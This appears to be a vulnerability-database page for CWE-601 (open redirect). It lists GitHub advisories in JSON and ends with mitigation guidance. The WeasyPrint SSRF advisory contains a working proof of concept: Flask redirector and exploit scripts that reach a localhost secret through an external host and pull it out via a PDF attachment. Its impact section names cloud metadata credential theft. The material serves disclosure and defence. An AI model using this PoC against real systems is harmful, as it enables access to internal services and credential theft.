CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2305 vulnerabilities reference this CWE, most recent first.
GHSA-97VP-H7V5-7HCW
Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07With Cloud Foundry Runtime cf-release versions v209 or earlier, UAA Standalone versions 2.2.6 or earlier and Pivotal Cloud Foundry Runtime 1.4.5 or earlier the UAA logout link is susceptible to an open redirect which allows an attacker to insert malicious web page as a redirect parameter.
{
"affected": [],
"aliases": [
"CVE-2015-3190"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-25T17:29:00Z",
"severity": "MODERATE"
},
"details": "With Cloud Foundry Runtime cf-release versions v209 or earlier, UAA Standalone versions 2.2.6 or earlier and Pivotal Cloud Foundry Runtime 1.4.5 or earlier the UAA logout link is susceptible to an open redirect which allows an attacker to insert malicious web page as a redirect parameter.",
"id": "GHSA-97vp-h7v5-7hcw",
"modified": "2022-05-13T01:07:01Z",
"published": "2022-05-13T01:07:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3190"
},
{
"type": "WEB",
"url": "https://pivotal.io/security/cve-2015-3190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97WW-5P4J-7PG9
Vulnerability from github – Published: 2022-05-24 17:02 – Updated: 2022-07-29 00:00The CGIHandler class in Python before 2.7.12 does not protect against the HTTP_PROXY variable name clash in a CGI script, which could allow a remote attacker to redirect HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2016-1000110"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-27T17:15:00Z",
"severity": "MODERATE"
},
"details": "The CGIHandler class in Python before 2.7.12 does not protect against the HTTP_PROXY variable name clash in a CGI script, which could allow a remote attacker to redirect HTTP requests.",
"id": "GHSA-97ww-5p4j-7pg9",
"modified": "2022-07-29T00:00:49Z",
"published": "2022-05-24T17:02:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000110"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-1000110"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2016-1000110"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7K3WFJO3SJQCODKRKU6EQV3ZGHH53YPU"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2016-1000110"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-983W-RHVV-GWMV
Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence
Impact
This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.
- Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
- Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g.,
http://169.254.169.254) to steal instance credentials and escalate privileges. - Security Control Bypass: It renders the
url_fetchersecurity validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "68.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68616"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T16:29:53Z",
"nvd_published_at": "2026-01-19T16:15:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n # Listens on localhost:5000\n app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n # The vulnerability: Redirects to the BLOCKED hostname\n return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n # Simulates a blacklist for \u0027localhost\u0027\n if \"localhost\" in url:\n raise PermissionError(f\"Security Block: Access to {url} denied.\")\n \n print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n# The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n \n doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n doc.write_pdf(\"exploit.pdf\")\n \n print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
"id": "GHSA-983w-rhvv-gwmv",
"modified": "2026-07-02T20:22:23Z",
"published": "2026-01-20T16:29:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-68616"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}
GHSA-9853-P5PW-C3VC
Vulnerability from github – Published: 2025-05-18 00:30 – Updated: 2025-05-18 00:30A vulnerability, which was classified as problematic, was found in kanwangzjm Funiture up to 71ca0fb0658b3d839d9e049ac36429207f05329b. Affected is the function doPost of the file /funiture-master/src/main/java/com/app/mvc/acl/servlet/LoginServlet.java of the component Login. The manipulation of the argument ret leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.
{
"affected": [],
"aliases": [
"CVE-2025-4838"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-17T22:15:19Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in kanwangzjm Funiture up to 71ca0fb0658b3d839d9e049ac36429207f05329b. Affected is the function doPost of the file /funiture-master/src/main/java/com/app/mvc/acl/servlet/LoginServlet.java of the component Login. The manipulation of the argument ret leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.",
"id": "GHSA-9853-p5pw-c3vc",
"modified": "2025-05-18T00:30:26Z",
"published": "2025-05-18T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4838"
},
{
"type": "WEB",
"url": "https://github.com/ShenxiuSec/cve-proofs/blob/main/POC-20250510-01.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.309306"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.309306"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.574825"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9884-HHWQ-42C3
Vulnerability from github – Published: 2022-12-13 06:30 – Updated: 2022-12-15 18:30In SAP Solution Manager (Enterprise Search) - versions 740, and 750, an unauthenticated attacker can generate a link that, if clicked by a logged-in user, can be redirected to a malicious page that could read or modify sensitive information, or expose the user to a phishing attack, with little impact on confidentiality and integrity.
{
"affected": [],
"aliases": [
"CVE-2022-41275"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T04:15:00Z",
"severity": "MODERATE"
},
"details": "In SAP Solution Manager (Enterprise Search) - versions 740, and 750, an unauthenticated attacker can generate a link that, if clicked by a logged-in user, can be redirected to a malicious page that could read or modify sensitive information, or expose the user to a phishing attack, with little impact on confidentiality and integrity.",
"id": "GHSA-9884-hhwq-42c3",
"modified": "2022-12-15T18:30:25Z",
"published": "2022-12-13T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41275"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3271313"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98PR-9HW5-CRG3
Vulnerability from github – Published: 2026-01-15 15:31 – Updated: 2026-01-15 15:31An open redirect vulnerability has been identified in Grafana OSS that can be exploited to achieve XSS attacks. The vulnerability was introduced in Grafana v11.5.0. The open redirect can be chained with path traversal vulnerabilities to achieve XSS. Fixed in versions 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 and 11.3.8+security-01
{
"affected": [],
"aliases": [
"CVE-2026-0712"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T13:16:04Z",
"severity": "HIGH"
},
"details": "An open redirect vulnerability has been identified in Grafana OSS that can be exploited to achieve XSS attacks. The vulnerability was introduced in Grafana v11.5.0. The open redirect can be chained with path traversal vulnerabilities to achieve XSS. Fixed in versions 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 and 11.3.8+security-01",
"id": "GHSA-98pr-9hw5-crg3",
"modified": "2026-01-15T15:31:16Z",
"published": "2026-01-15T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0712"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.pdf"
},
{
"type": "WEB",
"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-994V-8MPG-9F54
Vulnerability from github – Published: 2024-04-29 09:31 – Updated: 2026-04-28 21:34URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Deepen Bajracharya Video Conferencing with Zoom.This issue affects Video Conferencing with Zoom: from n/a through 4.4.4.
{
"affected": [],
"aliases": [
"CVE-2024-33584"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-29T08:15:07Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in Deepen Bajracharya Video Conferencing with Zoom.This issue affects Video Conferencing with Zoom: from n/a through 4.4.4.",
"id": "GHSA-994v-8mpg-9f54",
"modified": "2026-04-28T21:34:59Z",
"published": "2024-04-29T09:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33584"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/video-conferencing-with-zoom-api/wordpress-video-conferencing-with-zoom-plugin-4-4-4-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-995F-R3QG-J3MX
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2023-02-13 00:30A vulnerability was found in Moodle 3.7 to 3.7.1, 3.6 to 3.6.5, 3.5 to 3.5.7 and earlier unsupported versions, where forum subscribe link contained an open redirect if forced subscription mode was enabled. If a forum's subscription mode was set to "forced subscription", the forum's subscribe link contained an open redirect.
{
"affected": [],
"aliases": [
"CVE-2019-14831"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-19T21:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Moodle 3.7 to 3.7.1, 3.6 to 3.6.5, 3.5 to 3.5.7 and earlier unsupported versions, where forum subscribe link contained an open redirect if forced subscription mode was enabled. If a forum\u0027s subscription mode was set to \"forced subscription\", the forum\u0027s subscribe link contained an open redirect.",
"id": "GHSA-995f-r3qg-j3mx",
"modified": "2023-02-13T00:30:58Z",
"published": "2022-05-24T17:44:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14831"
},
{
"type": "WEB",
"url": "https://git.moodle.org/gw?p=moodle.git%3Ba=commit%3Bh=32e2e06a8737afb07ee83abb3eacd39f8b181216"
},
{
"type": "WEB",
"url": "https://git.moodle.org/gw?p=moodle.git;a=commit;h=32e2e06a8737afb07ee83abb3eacd39f8b181216"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=391037"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99HF-FCC2-GWM3
Vulnerability from github – Published: 2025-11-19 15:31 – Updated: 2025-11-19 15:31Open Redirect in URL parameter in Automated Logic WebCTRL and Carrier i-Vu versions 6.0, 6.5, 7.0, 8.0, 8.5, 9.0 may allow attackers to exploit user sessions.
{
"affected": [],
"aliases": [
"CVE-2024-8527"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-19T14:15:56Z",
"severity": "HIGH"
},
"details": "Open Redirect in URL parameter in Automated Logic WebCTRL and Carrier i-Vu versions 6.0, 6.5, 7.0, 8.0, 8.5, 9.0 may allow attackers to exploit user sessions.",
"id": "GHSA-99hf-fcc2-gwm3",
"modified": "2025-11-19T15:31:39Z",
"published": "2025-11-19T15:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8527"
},
{
"type": "WEB",
"url": "https://www.corporate.carrier.com/product-security/advisories-resources"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-99PM-CH96-CCP2
Vulnerability from github – Published: 2025-05-16 17:28 – Updated: 2025-05-16 17:28Impact
Flask-AppBuilder prior to 4.6.2 would allow for a malicious unauthenticated actor to perform an open redirect by manipulating the Host header in HTTP requests.
Patches
Flask-AppBuilder 4.6.2 introduced the FAB_SAFE_REDIRECT_HOSTS configuration variable, which allows administrators to explicitly define which domains are considered safe for redirection.
Examples:
FAB_SAFE_REDIRECT_HOSTS = ["yourdomain.com", "sub.yourdomain.com", "*.yourcompany.com"]
Workarounds
Use a Reverse Proxy to Enforce Trusted Host Headers
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flask-appbuilder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-32962"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-16T17:28:25Z",
"nvd_published_at": "2025-05-16T14:15:31Z",
"severity": "MODERATE"
},
"details": "### Impact\nFlask-AppBuilder prior to 4.6.2 would allow for a malicious unauthenticated actor to perform an open redirect by manipulating the Host header in HTTP requests.\n \n### Patches\nFlask-AppBuilder 4.6.2 introduced the `FAB_SAFE_REDIRECT_HOSTS` configuration variable, which allows administrators to explicitly define which domains are considered safe for redirection.\n\nExamples:\n```\nFAB_SAFE_REDIRECT_HOSTS = [\"yourdomain.com\", \"sub.yourdomain.com\", \"*.yourcompany.com\"]\n```\n\n### Workarounds\nUse a Reverse Proxy to Enforce Trusted Host Headers\n\n### References\n_Are there any links users can visit to find out more?_",
"id": "GHSA-99pm-ch96-ccp2",
"modified": "2025-05-16T17:28:25Z",
"published": "2025-05-16T17:28:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-99pm-ch96-ccp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32962"
},
{
"type": "WEB",
"url": "https://github.com/dpgaspar/Flask-AppBuilder/commit/32eedbbb5cb483a3e782c5f2732de4a6a650d9b6"
},
{
"type": "PACKAGE",
"url": "https://github.com/dpgaspar/Flask-AppBuilder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flask-AppBuilder open redirect vulnerability using HTTP host injection"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.